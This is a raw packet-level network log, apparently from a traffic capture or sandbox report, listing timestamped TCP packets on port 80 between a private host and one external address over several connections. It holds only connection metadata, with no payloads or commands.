Jan 2, 2025 19:14:16.734607935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734615088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734620094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734626055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734632015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734643936 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734646082 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734663963 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734675884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734683037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734694004 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734707117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734711885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734719038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734756947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734793901 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.734899998 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734908104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734910965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.734916925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735002041 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735007048 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735028982 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735034943 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735044956 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735044956 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735053062 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735054016 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735059023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735064983 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735069036 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735162020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735167980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735178947 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735184908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735191107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735193968 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735197067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735203028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735208988 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735225916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735244036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735244036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735244036 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735290051 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735295057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735301018 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735304117 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735310078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735327005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735333920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735338926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735344887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735349894 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735353947 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735363007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735378027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735383987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735388994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735390902 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735394001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735399961 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735405922 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735409975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735411882 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735409975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735419035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735435963 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735475063 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735475063 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735491037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735497952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735565901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735572100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735579014 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735584021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735589981 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735595942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735609055 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735609055 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735665083 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735694885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735701084 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735707045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735713005 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735718966 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735723972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735728979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735749006 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735764027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735769987 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735781908 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735786915 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735794067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735805035 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735805035 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735811949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735817909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735824108 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735862970 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735889912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735896111 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735907078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735918045 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735918045 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735924006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735934973 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735940933 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735946894 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735953093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735955000 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735958099 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735975027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735984087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735984087 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.735989094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.735995054 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736001015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736005068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736027002 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.736027002 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.736049891 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.736532927 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736587048 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.736617088 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736624002 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736625910 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736632109 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736637115 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736641884 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736656904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.736677885 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.736722946 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775429010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775439024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775445938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775459051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775465965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775470972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775489092 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775528908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775542021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775547981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775552988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775568962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775573015 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775573969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775585890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775621891 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775643110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775655985 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775662899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775671959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775677919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775686026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775686979 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775691986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775701046 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775763988 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.775846004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775953054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775968075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775974035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.775990009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776009083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776014090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776025057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776030064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776034117 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776034117 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776036978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776043892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776056051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776087046 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776134968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776134968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776304007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776407957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776413918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776426077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776431084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776437998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776448965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776453972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776463985 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776527882 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776534081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776540041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776551008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776590109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776596069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776607037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776612997 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776618958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776624918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776627064 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776652098 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776690006 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776705027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776710033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776727915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776738882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776770115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776772976 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776777029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776789904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776817083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776838064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776837111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776837111 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776844978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776856899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776861906 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776901007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776905060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776917934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776918888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776918888 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776926041 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.776964903 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.776983976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777043104 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.777066946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777081013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777091980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777096987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777102947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.777158022 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.777252913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.778383017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778426886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778431892 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778443098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778449059 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778458118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778464079 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778470039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.778481960 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.778620005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.778995991 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779000998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779102087 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.779118061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779161930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779169083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779181957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779213905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779227018 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779253006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779254913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.779294014 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.779335022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779347897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779354095 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779360056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779366016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779371023 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779377937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.779448986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.779638052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780065060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780103922 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780109882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780170918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780194998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780200958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780213118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780217886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780224085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780234098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780241013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780257940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780267000 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780272007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780277967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780282974 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780283928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780289888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780328035 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780668020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780673027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780683994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780690908 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780695915 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780702114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780706882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780713081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780747890 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780767918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780771971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780802011 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780822039 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780884027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780889988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780901909 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780916929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780929089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780935049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.780949116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.780963898 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.781055927 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.794698954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794770002 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794775963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794787884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794794083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794806004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794887066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.794887066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.794903040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794909954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794922113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794926882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794944048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794946909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794953108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.794959068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.795030117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.795030117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.795030117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796005964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796013117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796025991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796031952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796040058 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796045065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796057940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796075106 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796132088 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796289921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796295881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796308041 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796318054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796324968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796358109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796413898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.796433926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796439886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796452045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.796458960 CET	80	49728	147.45.44.131	192.168.2.6
